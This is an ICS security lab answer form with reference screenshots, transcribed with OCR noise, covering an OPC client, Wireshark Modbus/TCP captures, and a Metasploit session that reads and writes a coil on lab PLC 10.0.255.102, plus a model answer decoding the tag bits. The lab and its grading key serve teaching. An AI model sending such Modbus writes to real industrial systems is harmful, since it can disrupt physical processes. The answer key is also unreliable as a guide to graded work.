ICS Basics Lab Form

Name:
Date:

1. Paste the screen shot taken in Part 2 — “Use an HMI System to Monitor and Control ICS
Components” into this question:
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2. Paste the screen shot taken in Part 3 — “Use an OPC Server to Monitor and Control ICS
Components” into this question:
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OPC [Running] - Oracle VM VirtualBox A - O X
File Machine View Input Devices Help

[§R OPC Quick Client - Untitled *

File Edit View Tools Help
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= ﬂ Kepware KEPServerEX. VS P
_Syskem T
Channell._CommunicationSeriali @ Channell . Cooling_Tank.Pump_Relay  Boolean il 9,597 Good 2z
Channell. _Statistics I Channell. Cooling_Tank.Reset_Switch  Boolean o 08:25:07.201 Good 1
channell._System — | channell. Coling_Tark.5p_start_Lewel Word =0 08:25:07.201 Good 1
=) Ehannell.Eopllng_Tank X I Channell.Cooling_Tank.5p_Stop_Level Word 75 08:25:07.201 Good 1
Channell. Cooling_Tank. _Statist y -
Charnelt .Caoling_Tark. Systen 0 Channell, Cooling_Tank, Skart_Switch Boolean o 08:25:07.201 Good 1
Data Type Examples._Statistics T Channell, Cooling_Tank. Stop_Switch Boolean 1] 08:25:07.201 Good 1
Data Type Examples._System v 0 Channell, Coaling_Tank. Tank_Level Word B2 0&:29:56.605 Good a0
< | 3 |« | =
Date Time: Event H
0 Tiid4iz021 §:25:07 AM Added group 'Data ...
o 7l4f2021 8:25:07 AM Added 2 items o ar...
71412021 F:25:07 AM Added group 'Data ...
o 7i14f2021 8:25:07 aM Added 34 items ko g...
o 7l4f2021 5:25:07 AM Added group 'Data ...
€ 71412021 i25:07 AM Added 34 items ko qg...
0 7il4f2021 S125:07 AM Added group 'Data ...
o 7l14f2021 S:25:07 AM Added 4 items ko ar...
€ 71412021 Si25:07 AM Added group 'Data ...
o 7l4f2021 S:25:07 AM Added 2 items Lo gr...
o Fl4f2021 S:25:07 AM Added group 'Data ...
0 Tlid4iz021 §:25:07 AM Added 44 items ko g...
o 7l4f2021 5:25:07 AM Added group 'Data ...
71412021 F:25:07 AM Added 44 items o q...
o 7i14f2021 8:25:07 aM Added 4 items ko gr...
o 7il4f2021 5:25:07 AM Added group 'Simul. ..
€ 7/14/2021 Si25:07 AM Added group 'Simul, .
0 7il4f2021 S125:07 AM Added 11 items ko g...
o 7l4f2021 S:125:07 AM Added group 'Simul. ..
€ 7142021 Si25:07 AM Added 3 items ko ar...
o 7l4f2021 S:25:07 AM Added group 'Simul. ..
o 7li4f2021 S:25:07 AM Added 9 items o gr...
o 7412021 8:25:07 AM Added 16 items ko g...
o 7l4f2021 G:26:07 AM Set active stake '0f
71412021 26:17 AM Set active state '1'F...
o 7i14f2021 8:29:56 AM Synchronous write ... \__r
Ready Iterm Count: 314

ur ac| nt - Ln...

The screen show submitted by the student should show a different time and/or some other
difference from this and the reference example.

Paste the screen shot taken in Part 4 — “Use Wireshark to view Modbus/TCP traffic” into this
question:
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ﬁ Kali [Running] - Oracle VM VirtualBox A _ O X

File Machine View Input Devices Help
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N |ip.addr==10.0.255.100

Destination Protocol Length Info
66 Query: Trans:
64 Response: Tran
.255.102 Modbus... 66 Query: Trans: 27789; Unit: 0, Func: 3: Read Holding Re..
.255.100 Modbus... 69 Response: Trans: 27789; Unit: 8, Func: 3: Read Holding Re..
.255.1682 TCP 60 1498 — 502 [ACK] Seq=25 Ack=26 Win=63565 Len=0
.B.255.182 Modbus... 66 Query: Trans: 27790; Unit: ®, Func: 1: Read Coils
.0.255.100 Modbus... 64 Response: Trans: 27790; Unit: 0, Func: 1: Read Coils

= Function Code:
[Request Frame: 316]
[Ti
Byte Count:
Bit ]
Bit :
Bit 2

Request Frame (modbus.request_frame) Packets: 3872 - Displayed: 20 (0.5%) - Dropped: 0 (0.0%) : Profile: Default
EI ey 1@ @ right ctrl

The screen show submitted by the student should show a different time and/or some other
difference from this and the reference example.

Paste the screen shot taken in Part 5 — “Use Metasploit to exploit Modbus/TCP vulnerabilities”
into this question:
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f Kali [Running] - Oracle VM VirtualBox A - OX
File Machine View Input Devices Help
(] student@kali: ~ 02:37PM Q a O \ a ¢

y 4

student@kali: ~

File Actions Edit View Help
READ_HOLDING_REGISTERS Read words from several HOLDING registers

msf6 auxiliary( set rhosts 10.0.255.102

rhosts = 10.0.255.102

msf6 auxiliary( set action READ_COILS
File System action = READ_COILS

msf6 auxiliary( > set data_address 0

data_address = 0

msf6 auxiliary( exploit

Running module against 10.0.255.102

10.0.255.102:502 - Sending READ COILS...
[+] 10.0.255.102:502 - 1 coil values from address 0 :
[+] 10.0.255.102:502 - [1]
Auxiliary module execution completed
msf6 auxiliary( ) > set action WRITE_COIL
action = WRITE_COIL
msf6 auxiliary( ) > set data 0
data = 0
msf6 auxiliary( ) > exploit
Running module against 10.0.255.102

10.0.255.102:502 - Sending WRITE COIL ...

[+] 10.0.255.102:502 - Value @ successfully written at coil address 0
Auxiliary module execution completed

msf6 auxiliary( ) > 1

e o1 &R 8l & Rright ctri
The screen show submitted by the student should show a different time and/or some other
difference from this and the reference example.

What is the status of the system power and the pump power when the packets containing the
protocol data unit reference 1909 were captured?

The byte of data read from memory area Q0.0 contained the hexadecimal value 01. This
converts into 0000 0001 in binary. The Power tag is assigned address Q0.0 which maps to the
least significant binary bit containing the value 1. The Pump tag is assigned address Q0.1 which
maps to the second least significant binary bit containing the value 0. This means that power to
the pump is off and power to the system is on.
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